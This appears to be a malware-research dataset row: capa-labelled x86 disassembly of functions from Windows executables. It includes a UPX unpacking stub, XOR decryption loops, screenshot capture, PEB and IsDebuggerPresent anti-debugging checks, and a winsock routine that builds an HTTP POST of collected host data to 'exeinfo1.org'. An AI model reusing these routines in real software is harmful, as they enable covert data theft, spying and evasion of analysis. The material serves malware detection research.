joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5896b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x10c000]
push edi
jmp 0x5896ca
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5896d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5896c0
mov eax, 1
add ebx, ebx
jne 0x5896e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5896f4
jne 0x589713
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x589713
dec eax
add ebx, ebx
jne 0x589700
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5896d8
add ebx, ebx
jne 0x58970f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x589765
xor ecx, ecx
sub eax, 3
jb 0x58972b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x58979a
sar eax, 1
mov ebp, eax
jmp 0x589736
add ebx, ebx
jne 0x589736
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x589704
inc ecx
add ebx, ebx
jne 0x589744
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x589704
add ebx, ebx
jne 0x589751
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x589746
jne 0x589762
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x589746
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x589784
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x589776
jmp 0x5896c6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x589784
add edi, ecx
jmp 0x5896c6
pop esi
mov edi, esi
mov ecx, 0x4f00
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5897a2
cmp byte [edi], 0x1e
jne 0x5897a2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x5897a7
lea edi, [esi + 0x186000]
mov eax, dword [edi]
or eax, eax
je 0x58981f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x18f408]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x18f548]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5897d4
mov ecx, edi
jns 0x589803
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x18f54c]
or eax, eax
je 0x589819
mov dword [ebx], eax
add ebx, 4
jmp 0x5897f1
call dword [esi + 0x18f55c]
mov ebp, dword [esi + 0x18f550]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x589853
sub esp, 0xffffff80
jmp 0x4b4642
Function at 0x401210
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
sub ebx, 0xc
or edi, 0x27
add esi, 0x4d
bswap edx
ror edx, 0xac
mov esi, 0xd1
not ebx
sub ebx, 0xc
add esi, 0xf
imul edx
inc esi
neg eax
sbb eax, 0xaf
bswap esi
neg ebx
imul eax
not edi
rcl edi, 0xe9
neg ebx
rcr ebx, 0x74
not eax
imul edi
sub ebx, 0x82
inc edx
rcr ebx, 0xc9
rcr edi, 0x8d
not eax
sbb eax, 0xc7
rcr edi, 0xe9
dec eax
bswap edx
add eax, 0x14
rol ebx, 0
neg edi
ror ebx, 0xb3
inc esi
inc eax
sub esi, 0x4f
dec edx
neg esi
mov eax, 0x59
rcr esi, 0x58
neg eax
rcr edx, 0x17
mov edx, 0xb8
inc edx
add edx, 0x92
mov edx, 0x7a
not edx
inc edx
xor ecx, ecx
xor edi, edi
sbb ebx, 0x46
imul edx
sub eax, 0xf7
rcr edx, 0x10
add esi, 0x83
rcl edx, 0x84
not eax
not esi
dec edx
or esi, 0x82
and eax, 0xfb
inc esi
ror edi, 0x4c
or edx, 0xad
bswap edi
neg eax
or esi, 0xdd
bswap edi
sbb edx, 1
imul ebx
neg ebx
add eax, 0x31
or edi, 0x5f
mov edi, 0xe6
and ebx, 0xe4
sbb edx, 0xb5
not esi
mov esi, 0x88
ror esi, 0x2c
bswap edi
neg eax
rcr esi, 0x22
rcr eax, 0x1e
neg edi
inc eax
imul edi
neg ebx
imul eax
dec eax
bswap edi
rcr ebx, 0xba
add ebx, 0xfb
dec eax
neg ebx
sbb edx, 0x97
sub esi, 0x12
dec edx
neg edi
bswap esi
rol eax, 0x43
mov ecx, dword [ebp + 0xc]
ror eax, 0xad
dec edi
inc esi
inc edi
neg edi
neg esi
sub edx, 0xe2
ror eax, 0xee
sub edi, 0x9f
rol eax, 0x72
rcr eax, 0x64
rcr edi, 0x67
not edi
mov edi, 0xe1
rcr edi, 0x18
add eax, 0x9e
bswap esi
bswap ebx
imul eax
sbb esi, 0xcd
rcr esi, 0x86
ror edx, 0x68
neg edx
and ebx, 0xec
rcl edi, 0x4c
mov ebx, 0xf2
or ebx, 0xaa
not edi
dec esi
or esi, 0xe1
add esi, 0x5d
not edi
ror edx, 0xe7
imul edi
bswap edx
inc esi
imul ebx
add edi, 0x4c
imul ebx
rol esi, 0x3d
mov edi, 0x43
imul edx
imul esi
and edx, 0x63
bswap ebx
mov eax, 0x8d
neg ebx
imul ebx
not ebx
ror esi, 0x39
mov edi, dword [ebp + 8]
xor eax, ebx
mov ebx, esi
xor esi, eax
not byte [edi]
xor eax, ebx
xor eax, esi
xor esi, ebx
xor esi, esi
mov esi, esi
mov eax, esi
mov esi, eax
mov ebx, ebx
xor ebx, esi
add byte [edi], 0x26
mov esi, eax
mov esi, ebx
xor eax, eax
mov ebx, esi
mov esi, esi
xor esi, esi
xor ebx, ebx
xor esi, ebx
mov eax, esi
sub byte [edi], 0x86
xor eax, esi
mov eax, ebx
xor ebx, ebx
xor esi, eax
xor eax, eax
xor ebx, eax
xor eax, eax
xor ebx, esi
mov eax, eax
imul byte [edi]
inc edi
loop 0x4013d9
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4062a8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43c864]
jne 0x4062b2
repz ret
jmp fcn.00408bc5
Function at 0x40aba3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406329
and dword [ebp - 4], 0
cmp dword [0x43e158], 0
mov ebx, eax
jne 0x40ac54
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40ad05
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40ad05
push eax
call fcn.004062b7
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x43e158], eax
call esi
push eax
call fcn.004062b7
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43e15c], eax
call esi
push eax
call fcn.004062b7
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x43e160], eax
call esi
push eax
call fcn.004062b7
pop ecx
mov dword [0x43e168], eax
test eax, eax
je 0x40ac54
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004062b7
pop ecx
mov dword [0x43e164], eax
mov eax, dword [0x43e164]
cmp eax, ebx
je 0x40acac
cmp dword [0x43e168], ebx
je 0x40acac
push eax
call fcn.00406332
push dword [0x43e168]
mov esi, eax
call fcn.00406332
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40acac
test edi, edi
je 0x40acac
call esi
test eax, eax
je 0x40aca3
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40aca3
test byte [ebp - 0xc], 1
jne 0x40acac
or dword [ebp + 0x10], 0x200000
jmp 0x40ace5
mov eax, dword [0x43e15c]
cmp eax, ebx
je 0x40ace5
push eax
call fcn.00406332
pop ecx
test eax, eax
je 0x40ace5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40ace5
mov eax, dword [0x43e160]
cmp eax, ebx
je 0x40ace5
push eax
call fcn.00406332
pop ecx
test eax, eax
je 0x40ace5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43e158]
call fcn.00406332
pop ecx
test eax, eax
je 0x40ad05
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40ad07
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403dd8
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1614
call fcn.004041b0
push str.ws2_32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [0x40ad10]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40da70], eax
lea eax, [ebp - 0xe14]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x403f96
push ebx
push esi
mov esi, 0x400
push edi
lea eax, [ebp - 0x1214]
push esi
push eax
call dword [0x40da70]
call fcn.00403611
call fcn.004036b7
call fcn.0040390f
xor edi, edi
push esi
lea eax, [ebp - 0x884]
push edi
push eax
call fcn.004040d0
add esp, 0xc
xor ebx, ebx
cmp dword [0x40ea74], edi
jbe 0x403e8b
lea eax, [ebp - 0x884]
mov dword [ebp - 4], eax
movzx eax, byte [ebx + 0x40da74]
push eax
push str._02x
push dword [ebp - 4]
call fcn.00404128
add dword [ebp - 4], 2
add esp, 0xc
inc ebx
cmp ebx, dword [0x40ea74]
jb 0x403e66
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x1614]
push esi
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
lea eax, [ebp - 0x44]
push edi
push eax
call fcn.004040d0
push 0x40
lea eax, [ebp - 0x84]
push edi
push eax
call fcn.004040d0
push esi
lea eax, [ebp - 0xc84]
push edi
push eax
call fcn.004040d0
lea eax, [ebp - 0xc84]
push eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x1614]
push eax
call fcn.00403cf7
push esi
lea eax, [ebp - 0x484]
push edi
push eax
call fcn.004040d0
add esp, 0x40
lea eax, [ebp - 0x484]
push eax
call fcn.00403a3d
lea eax, [ebp - 0x484]
push eax
call fcn.004045a0
mov esi, eax
lea eax, [ebp - 0xc84]
push eax
call fcn.004045a0
add esi, eax
lea eax, [ebp - 0x84]
push eax
call fcn.004045a0
add esi, eax
lea eax, [ebp - 0x44]
push eax
call fcn.004045a0
add esi, eax
lea eax, [ebp - 0x884]
push eax
call fcn.004045a0
add esi, eax
lea eax, [ebp - 0x1214]
push eax
call fcn.004045a0
add esp, 0x1c
lea ecx, [ebp - 0x44]
lea eax, [esi + eax + 0x1a]
push ecx
lea ecx, [ebp - 0x84]
push ecx
lea ecx, [ebp - 0x484]
push ecx
lea ecx, [ebp - 0xc84]
push ecx
lea ecx, [ebp - 0x884]
push ecx
lea ecx, [ebp - 0x1214]
push ecx
push eax
push str.POST__pro1.asp_HTTP_1.1_r_nHost:exeinfo1.org_r_nContent_Type:_application_x_www_form_urlencoded_r_nContent_Length:_d_r_n_r_na1_sa2_sa3_sa4_sa6_sa7_s_r_n_r_n
push dword [ebp + 8]
call fcn.00404128
add esp, 0x24
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409ebd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x409ebd
lcall 0x5de5, 0x8b10c483
jmp fcn.0076d6b4
Function at 0x406624
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406648
xor eax, eax
test eax, eax
je 0x40665b
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x40665b
xor ecx, ecx
jmp 0x40665e
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406787
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4698ec], 0
push esi
jne 0x4067be
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406798
mov dword [ecx*4 + 0x4698e8], eax
inc ecx
cmp ecx, 0x100
jl 0x406793
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4067ef
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4698e8]
xor eax, esi
inc ecx
dec edx
jne 0x4067d1
pop edi
not eax
pop esi
ret 0xc

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403e6a
nop
nop
sub eax, 0x403e10
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x40f770
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x54433e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x24], edi
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov dword [ebp - 0x20], 0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov dword [ebp - 4], 0
xor esi, esi
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], 1
test eax, eax
je 0x40f934
dec eax
mov dword [ebp + 8], eax
mov al, byte [edx]
inc edx
mov byte [ebp + esi - 0x14], al
inc esi
mov ah, byte [ebp - 0x12]
mov ch, byte [ebp - 0x13]
mov cl, byte [ebp - 0x14]
mov dword [ebp - 0x1c], edx
mov byte [ebp - 0xf], ah
mov byte [ebp - 0xd], ch
mov byte [ebp - 0xe], cl
cmp esi, 3
jne 0x40f875
mov al, cl
and cl, 3
shr al, 2
mov byte [ebp - 0x18], al
mov al, ch
shl cl, 4
shr al, 4
add cl, al
mov al, ah
mov byte [ebp - 0x17], cl
and ah, 0x3f
mov cl, ch
shr al, 6
and cl, 0xf
mov byte [ebp - 0x15], ah
shl cl, 2
add cl, al
xor esi, esi
mov byte [ebp - 0x16], cl
nop dword [eax + eax]
cmp dword [0x58ab70], 0x10
mov ecx, 0x58ab5c
movzx eax, byte [ebp + esi - 0x18]
cmovae ecx, dword [0x58ab5c]
movzx eax, byte [eax + ecx]
mov ecx, edi
push eax
call fcn.0040fe90
inc esi
cmp esi, 4
jl 0x40f840
mov edx, dword [ebp - 0x1c]
xor esi, esi
mov ch, byte [ebp - 0xd]
mov cl, byte [ebp - 0xe]
mov eax, dword [ebp + 8]
test eax, eax
jne 0x40f7e0
mov dword [ebp - 0x1c], esi
test esi, esi
je 0x40f934
mov eax, 3
sub eax, esi
mov dword [ebp + 8], eax
cmp esi, 3
jge 0x40f8b6
push eax
lea eax, [ebp - 0x14]
add eax, esi
push 0
push eax
call fcn.005205e0
mov dl, byte [ebp - 0x12]
add esp, 0xc
mov ch, byte [ebp - 0x13]
mov cl, byte [ebp - 0x14]
jmp 0x40f8b9
mov dl, byte [ebp - 0xf]
mov al, cl
and cl, 3
shr al, 2
mov byte [ebp - 0x18], al
mov al, ch
shr al, 4
and ch, 0xf
shl cl, 4
add cl, al
shl ch, 2
mov al, dl
mov byte [ebp - 0x17], cl
shr al, 6
and dl, 0x3f
add ch, al
mov byte [ebp - 0x15], dl
lea eax, [esi + 1]
mov byte [ebp - 0x16], ch
mov dword [ebp - 0x14], eax
test eax, eax
jle 0x40f920
xor esi, esi
cmp dword [0x58ab70], 0x10
mov ecx, 0x58ab5c
movzx eax, byte [ebp + esi - 0x18]
cmovae ecx, dword [0x58ab5c]
movzx eax, byte [eax + ecx]
mov ecx, edi
push eax
call fcn.0040fe90
inc esi
cmp esi, dword [ebp - 0x14]
jl 0x40f8f3
mov esi, dword [ebp - 0x1c]
cmp esi, 3
jge 0x40f934
push 0x3d
mov ecx, edi
call fcn.0040fe90
sub dword [ebp + 8], 1
jne 0x40f925
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x410fc0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5445af
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push 0
mov dword [ebp - 0x10], esi
call fcn.00506cfd
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov byte [ebp - 4], 1
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
mov byte [ebp - 4], 2
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov byte [ebp - 4], 3
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov byte [ebp - 4], 4
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov byte [ebp - 4], 5
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
mov eax, dword [ebp + 8]
test eax, eax
je 0x411066
push eax
push esi
call fcn.0050703e
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
push str.bad_locale_name
call fcn.005065e2
int3
Function at 0x419bd0
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x545c09
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x38
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x20], esi
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x18], 0x4efb747
mov dword [ebp - 0x14], 0xe640eba1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x18], 0x76184a46
mov dword [ebp - 0x14], 0xf52f0c30
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x18], 0x4efd535
mov dword [ebp - 0x14], 0xe640eba1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x76184a46
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x14], 0xf52f0c30
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
cmp dword [ebx + 0x1c], 0x10
movaps xmm1, xmmword [ebp - 0x30]
mov dword [ebp - 0x38], eax
lea eax, [ebx + 8]
cmovae eax, dword [ebx + 8]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x30]
pxor xmm1, xmmword [ebp - 0x40]
push ecx
push eax
movaps xmmword [ebp - 0x30], xmm1
call fcn.00524450
mov edi, eax
add esp, 8
mov dword [ebp - 0x14], edi
test edi, edi
je 0x419d4d
push 2
push 0
push edi
call fcn.0052822c
add esp, 0xc
push edi
call fcn.00523fdb
add esp, 4
mov edi, eax
push 0
push 0
push dword [ebp - 0x14]
call fcn.0052822c
mov ecx, dword [esi + 0x10]
add esp, 0xc
cmp edi, ecx
ja 0x419d1e
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x419d15
mov eax, dword [esi]
mov dword [esi + 0x10], edi
mov byte [eax + edi], 0
jmp 0x419d2c
mov eax, edi
sub eax, ecx
mov ecx, esi
push 0
push eax
call fcn.004ae350
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x419d36
mov eax, dword [esi]
push dword [ebp - 0x14]
push edi
push 1
push eax
call fcn.0052cccf
push dword [ebp - 0x14]
call fcn.00527cde
add esp, 0x14
mov byte [ebp - 4], 0
lea ecx, [ebx + 8]
call fcn.0040fe10
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret

Function at 0x41a220
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
test ecx, ecx
je 0x41a268
mov edx, ecx
push esi
lea esi, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x41a230
sub edx, esi
pop esi
je 0x41a268
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41a262
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x41a262
cmp eax, 0x20
je 0x41a262
cmp eax, 0x45
je 0x41a262
cmp eax, 0x24
jne 0x41a268
mov al, 1
mov esp, ebp
pop ebp
ret
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x41aaa0
Capabilities:
Capture screenshot

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x545d8d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x70
push esi
push edi
push 0
lea eax, [ebp - 0x50]
mov dword [ebp - 0x24], ecx
push eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x20], 0x64
push eax
mov dword [ebp - 0x50], 1
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
test eax, eax
jne 0x41ac49
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 1
call esi
push 0
mov dword [ebp - 0x14], eax
call esi
push 0
mov dword [ebp - 0x18], eax
call dword [sym.imp.USER32.dll_GetDC]
mov esi, eax
mov dword [ebp - 0x28], esi
test esi, esi
je 0x41ac40
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov edi, eax
mov dword [ebp - 0x2c], edi
test edi, edi
je 0x41ac37
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x41ac30
push eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push esi
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push 0
push 0
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
mov dword [ebp - 0x40], vtable.Gdiplus::Image.0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 0x1c]
mov dword [ebp - 0x40], 0x572ea8
mov dword [ebp - 0x18], 0
call dword [sym.imp.gdiplus.dll_GdipCreateBitmapFromHBITMAP]
mov esi, eax
mov dword [ebp - 0x38], esi
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x3c], edi
mov dword [ebp - 4], 1
lea edx, [ebp - 0x60]
call fcn.0041a9c0
movups xmm0, xmmword [0x557b2c]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x80], 1
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x60]
mov dword [ebp - 0x68], 4
push eax
push dword [ebp - 0x24]
movups xmmword [ebp - 0x7c], xmm0
push edi
mov dword [ebp - 0x6c], 1
call dword [sym.imp.gdiplus.dll_GdipSaveImageToFile]
push dword [ebp - 0x1c]
test eax, eax
cmovne esi, eax
mov dword [ebp - 0x38], esi
call dword [sym.imp.GDI32.dll_DeleteObject]
mov dword [ebp - 4], 0xffffffff
push edi
mov dword [ebp - 0x40], vtable.Gdiplus::Image.0
call dword [sym.imp.gdiplus.dll_GdipDisposeImage]
mov esi, dword [ebp - 0x28]
mov edi, dword [ebp - 0x2c]
push edi
call dword [sym.imp.GDI32.dll_DeleteObject]
push esi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push dword [ebp - 0x30]
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
mov ecx, dword [ebp - 0xc]
xor al, al
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x428ed0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x30]
push ebx
mov al, byte [eax + 2]
test al, al
setne bl
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
movzx ecx, bl
mov edx, 1
cmovne ecx, edx
pushfd
pop eax
mov dword [ebp - 4], eax
test dword [ebp - 4], 0x100
movzx eax, cl
cmovne eax, edx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x42bf00
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x54787b
push eax
mov dword fs:[0], esp
mov eax, dword [0x58d570]
push ebx
sub esp, 0x120
push esi
push edi
mov edi, ecx
test al, 1
jne 0x42bf92
or eax, 1
mov dword [0x58d570], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movups xmmword [0x58d57c], xmm0
mov eax, 0x2f5c
mov dword [0x58d58c], 2
push 0x5554f0
mov dword [0x58d590], 0xf
mov word [0x58d57c], ax
mov byte [0x58d57e], 0
call fcn.0050839c
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp dword [edi + 0x14], 0x10
mov eax, edi
jb 0x42bf9c
mov eax, dword [edi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x42c0af
cmp dword [0x58d590], 0x10
mov esi, 0x58d57c
mov ecx, dword [edi + 0x10]
cmovae esi, dword [0x58d57c]
cmp dword [edi + 0x14], 0x10
mov dword [ebp - 0x14], edi
jb 0x42bfd0
mov eax, dword [edi]
mov dword [ebp - 0x14], eax
cmp dword [0x58d58c], 0
je 0x42c086
test ecx, ecx
je 0x42c086
push 0x100
lea eax, [ebp - 0x130]
push 0
push eax
call fcn.005205e0
mov ecx, dword [0x58d58c]
add esp, 0xc
add ecx, esi
cmp esi, ecx
je 0x42c020
nop word [eax + eax]
movzx eax, byte [esi]
inc esi
mov byte [ebp + eax - 0x130], 1
cmp esi, ecx
jne 0x42c010
mov eax, dword [edi + 0x10]
or ecx, 0xffffffff
mov edx, dword [ebp - 0x14]
dec eax
cmp eax, ecx
cmovb ecx, eax
movzx eax, byte [ecx + edx]
add ecx, edx
mov al, byte [ebp + eax - 0x130]
test al, al
jne 0x42c054
cmp ecx, edx
je 0x42c086
movzx eax, byte [ecx - 1]
dec ecx
mov al, byte [ebp + eax - 0x130]
test al, al
je 0x42c040
sub ecx, edx
cmp ecx, 0xffffffff
je 0x42c086
push ecx
push 0
lea eax, [ebp - 0x2c]
mov ecx, edi
push eax
call fcn.004ab7e0
mov dword [ebp - 4], 1
mov ecx, eax
call fcn.0042bf00
